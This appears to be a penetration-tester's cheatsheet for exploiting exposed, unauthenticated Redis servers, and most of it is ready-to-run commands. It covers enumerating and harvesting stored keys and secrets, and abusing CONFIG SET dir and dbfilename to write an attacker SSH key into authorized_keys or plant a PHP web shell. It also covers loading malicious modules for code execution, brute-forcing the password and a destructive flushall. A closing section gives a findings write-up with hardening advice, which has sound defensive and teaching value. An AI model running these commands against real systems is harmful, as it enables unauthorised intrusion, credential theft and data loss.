πŸ›‘οΈ Methodology Checklist

  • Connect unauthenticated: redis-cli -h [TARGET_IP] (default port 6379)
  • Confirm no auth: PING / INFO / CONFIG GET * β†’ no NOAUTH error
  • Fingerprint version + role: INFO server
  • Enumerate databases and keys: INFO keyspace β†’ SELECT n β†’ KEYS * β†’ GET [KEY]
  • Locate writable dir: CONFIG GET dir then probe CONFIG SET dir [PATH]
  • File-write primitive β†’ SSH: generate keypair, pad pubkey, write to authorized_keys, SAVE, SSH in
  • Alternative writes: web shell into webroot (same dir/dbfilename trick)
  • RCE pointer: MODULE LOAD on modern Redis
  • If requirepass set: -a [PASSWORD], brute, or hunt password in app configs

🎯 Operational Context

Use when: Redis (port 6379) is exposed β€” confirm it answers without authentication, enumerate stored data, and β€” most importantly β€” abuse its config-driven file write to land an SSH foothold or web shell. Think Dumber First: redis-cli -h [TARGET_IP] β†’ INFO. If it answers without a NOAUTH Authentication required error, it is wide open. Treat unauthenticated Redis as a file-WRITE primitive, not just a data-read finding β€” CONFIG SET dir + dbfilename lets you write the Redis dump file anywhere the service user can write. Skip when: Redis is bound to localhost only (protected mode) with no pivot available, or hardened with requirepass and you have no credentials.


⚑ Tactical Cheatsheet

CommandTactical Outcome
sudo nmap -sC -sV -p 6379 [TARGET_IP]Redis version scan + script detection
redis-cli -h [TARGET_IP]Open interactive Redis session (default port 6379)
redis-cli -h [TARGET_IP] PINGLiveness check β€” PONG = reachable, no auth
redis-cli -h [TARGET_IP] INFOFull server info dump (version, role, keyspace)
redis-cli -h [TARGET_IP] CONFIG GET *Dump full config β€” no NOAUTH error = unauthenticated
redis-cli -h [TARGET_IP] CONFIG GET dirShow current working directory (where dump file lands)
redis-cli -h [TARGET_IP] -a [PASSWORD] INFOAuthenticate with requirepass value
redis-cli -h [TARGET_IP] KEYS '*'List all keys in current database
redis-cli -h [TARGET_IP] -n 1 KEYS '*'List keys in database index 1
redis-cli -h [TARGET_IP] flushallClear all keys (CAUTION β€” destructive; only on lab targets)
redis-cli -h [TARGET_IP] -x set [KEY]Set a key from stdin (used to pipe in a padded SSH key)
nxc redis [TARGET_IP]NetExec Redis enumeration / auth check

πŸ”¬ Deep Dive & Workflow

Detecting Unauthenticated Redis

Default Redis listens on 6379/tcp and, when misconfigured, accepts commands with no password:

redis-cli -h [TARGET_IP]
[TARGET_IP]:6379> PING
PONG
[TARGET_IP]:6379> INFO
[TARGET_IP]:6379> CONFIG GET *

If any of these succeed without a NOAUTH Authentication required error, the instance is unauthenticated. A NOAUTH reply means requirepass is set β€” see the auth fallback below.

Quick Enumeration

# Server fingerprint β€” version, role (master/slave), OS
[TARGET_IP]:6379> INFO server
 
# Which databases hold data
[TARGET_IP]:6379> INFO keyspace
 
# Current working directory (where the dump file is written)
[TARGET_IP]:6379> CONFIG GET dir
 
# Switch databases and read values
[TARGET_IP]:6379> SELECT 0
[TARGET_IP]:6379> KEYS *
[TARGET_IP]:6379> GET [KEY]

Stored values frequently contain session tokens, cached credentials, or application secrets worth harvesting before moving to the write primitive.

THE KEY PRIMITIVE β€” File Write β†’ SSH Foothold

An unauthenticated (or low-priv) Redis is a file-WRITE primitive. Redis persists its dataset to a dump file whose path (dir) and name (dbfilename) are both runtime-configurable. Point them at a target user’s .ssh/authorized_keys, store your padded SSH public key as a value, then force a SAVE to flush it to disk.

The key is padded with leading/trailing newlines so the surrounding Redis dump-file bytes land on separate lines and don’t corrupt the authorized_keys entry:

# 1. On the attacker β€” generate a keypair and build a padded public key
ssh-keygen -t rsa -f ./key -N ""
(echo -e "\n\n"; cat ./key.pub; echo -e "\n\n") > pubkey.txt
 
# 2. Pipe the padded key into Redis as a value
cat pubkey.txt | redis-cli -h [TARGET_IP] -x set crackit
 
# 3. Redirect the dump file at the target's authorized_keys and flush
redis-cli -h [TARGET_IP] flushall          # CAUTION: destructive β€” clears existing keys
redis-cli -h [TARGET_IP] config set dir /home/[USER]/.ssh/
redis-cli -h [TARGET_IP] config set dbfilename authorized_keys
redis-cli -h [TARGET_IP] save
 
# 4. Log in over SSH with the private key
ssh -i key [USER]@[TARGET_IP]

Probing CONFIG SET dir [PATH] doubles as directory recon: an error means the path is missing, OK means it exists and is writable by the Redis service user (commonly redis, sometimes a real user with a home directory).

Alternative Write Targets

Same dir + dbfilename trick, different destination:

  • Web shell into a webroot β€” if a web server is co-hosted and you know its document root:
    redis-cli -h [TARGET_IP] config set dir /var/www/html/
    redis-cli -h [TARGET_IP] config set dbfilename shell.php
    redis-cli -h [TARGET_IP] -x set crackit < shell.php   # padded PHP payload
    redis-cli -h [TARGET_IP] save
    # Trigger via http://[TARGET_IP]/shell.php
  • Module-load RCE β€” modern Redis (β‰₯ 4.0) supports loadable modules. If you can stage a malicious .so (e.g. via the same file-write primitive), MODULE LOAD /path/to/exp.so registers attacker-defined commands for direct RCE. Treat this as a pointer for hardened/newer targets where the SSH/webroot routes are blocked.

Auth-Required Fallback

If requirepass is configured, commands return NOAUTH Authentication required. Options:

# Try a known/guessed password
redis-cli -h [TARGET_IP] -a [PASSWORD] INFO
 
# Brute-force the password (Redis AUTH)
nmap --script redis-brute -p 6379 [TARGET_IP]

Most reliably: hunt the password in application configs β€” Redis credentials are routinely hardcoded in app config files, environment files, or source you’ve already pulled (look for requirepass, REDIS_PASSWORD, connection strings).


πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
NOAUTH Authentication requiredrequirepass is setAuthenticate: redis-cli -h [TARGET_IP] -a [PASSWORD]; or brute-force; or hunt the password in app configs
(error) ... protected mode / DENIED Redis is running in protected modeRedis bound to localhost only (no external bind, no password)Reachable only from the host β€” pivot/tunnel to it (see Pivoting_SSH_Tunneling) then connect to 127.0.0.1:6379
CONFIG SET dir returns an errorTarget directory does not exist or service user can’t write itPick an existing, writable path β€” redis user’s home (/var/lib/redis/.ssh) or a known webroot; the error itself is directory recon
Key written but SSH still failsWrong target home dir, bad .ssh perms, or key not padded with newlinesConfirm the correct user’s home; ensure .ssh exists and is 700 / authorized_keys is 600; re-pad the pubkey with leading + trailing \n\n
flushall wiped data on a live systemDestructive command run on productionNever run flushall outside a lab β€” on real engagements set the key without flushing and document the risk

πŸ“ Reporting Trigger

Finding Title: Unauthenticated Redis Instance Permits Arbitrary File Write and Remote Code Execution Impact: An exposed Redis service accepting unauthenticated commands exposes its config-driven persistence to abuse. An attacker can redirect the database dump file to write arbitrary content anywhere the service user can write β€” planting an SSH authorized_keys entry or web shell β€” yielding a remote foothold and, via module loading, direct code execution. Root Cause: Redis exposed on a network-reachable interface with no requirepass set and protected mode disabled. Runtime-mutable dir/dbfilename allow the dump file to be written to sensitive locations. Recommendation: Bind Redis to localhost or a trusted internal interface only. Enforce authentication with a strong requirepass (or ACL users). Keep protected mode enabled. Run Redis as a dedicated low-privilege user with no SSH/home write access. Disable MODULE LOAD and restrict CONFIG access where supported. Firewall port 6379 from untrusted networks.